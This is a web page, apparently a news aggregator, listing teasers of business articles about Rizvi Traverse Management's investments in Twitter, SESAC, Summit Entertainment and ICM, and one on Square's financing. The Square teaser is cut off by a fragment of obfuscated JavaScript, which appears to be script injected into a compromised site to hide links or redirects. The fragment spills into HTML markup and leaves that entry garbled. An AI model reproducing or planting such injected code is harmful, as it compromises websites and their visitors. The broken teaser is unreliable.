Twitter Co-Founders, CEO Won’t Sell Shares

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Some of Twitter Inc.’s biggest and earliest backers said they don’t intend to sell shares when rules barring them to do so expire on May 5, giving the young public company a much-needed vote of confidence after its shares tumbled in recent months. Rizvi Traverse Management LLC, whose 14.4% stake in the company is the… Read more »

At Twitter, Working Behind the Scenes Toward a Billion-Dollar Payday

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Prince Alwaleed bin Talal of Saudi Arabia looks like a big Twitter winner. So do the moneyed clients of Jamie Dimon. But as you’ve-got-to-be-joking wealth washed over Twitter on Thursday — a company that didn’t exist eight years ago was worth $31.7 billion after its first day on the stock market — the non-boldface name… Read more »

From Chance Encounter, Path to Twitter Riches

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The largest stake in Twitter Inc. first came together seven years ago at a posh Caribbean resort. On Necker Island, a retreat owned by billionaire Richard Branson, Suhail R. Rizvi, a little-known but well-connected financier, met Chris Sacca, a brash, young Google Inc. executive. Their friendship would later form the foundation of a 15.6% stake… Read more »

Questions Answered on Rizvi Traverse’s SESAC Investment

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WHAT? SESAC, the Society of European Stage Authors and Composers, has a new majority owner in private equity firm Rizvi Traverse. According to reports, Rizvi Traverse paid $600 million for a 75% stake in the company, which would give SESAC an $800 million valuation. Billboard sources say that more likely the price was $450 million… Read more »

Music Rights Company SESAC Sells Majority Stake

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Private-equity firm Rizvi Traverse Management LLC has closed a deal to buy a majority stake in music performance-rights company SESAC Inc. for about $600 million, people familiar with the transaction said. Rizvi will buy 75% of SESAC, which represents artists such as Bob Dylan, Neil Diamond and Rush, from owners including boutique investment bank Allen… Read more »

Square Expects New Financing and a Loftier Value

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For all of Square’s challenges, raising money has not been one. Square, the mobile payments start-up best known for its pint-size credit card reader, is close to raising roughly $200 million, which would give the company an implied valuation of $3.25 billion, people briefed on the matter said. This financing round is expected to be… $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).revers/” class=”more-link” title=”Read Square Expects New Financing and a Loftier Value”>Read more »

Lions Gate Acquires Summit Entertainment for $412.5 Million

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Lions Gate Entertainment Corp. (LGF) acquired “Twilight” producer Summit Entertainment LLC for $412.5 million in cash and stock, uniting two of Hollywood’s largest independent studios. Most of the purchase was funded with cash from Summit, Lions Gate said yesterday in a statement. Both film labels, run from Santa Monica, California, will remain active producers and… Read more »

The World Is A Vampire Movie: Lionsgate Grabs Summit

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We haven’t steered our entertainment dollars toward the brooding, mountain-lion-eating vampires of  the “Twilight” epics, but we’d certainly be more interested in seeing one if it featured a crossover from the no-nonsense Madea. As expected, Rizvi Traverse Management-backed Summit Entertainment has been sold to Lionsgate. (Fun fact: Lionsgate says its library has 13,000 titles – this means… Read more »

$100-Million Infusion Puts Talent Firm in Position to Deal

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Like any top Hollywood agent, Jeff Berg is always looking to close a deal. On Tuesday, he sealed one of the biggest of his career by enticing a little-known Connecticut financier to invest about $100 million in Berg’s International Creative Management. Home to such stars as Mel Gibson, Denzel Washington and Jodie Foster, ICM is… Read more »

Rizvi, Merrill Lynch finance recapitalisation of ICM

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US talent agency ICM has recapitalized as part of its expansion strategy in a deal financed by Connecticut investor Suhail Rizvi’s Rizvi Traverse Management and Merrill Lynch’s Asset Based Finance Group. Terms of the deal remain confidential. What is known, however, is that the deal will allow agency chief Jeff Berg to develop ICM’s international… Read more »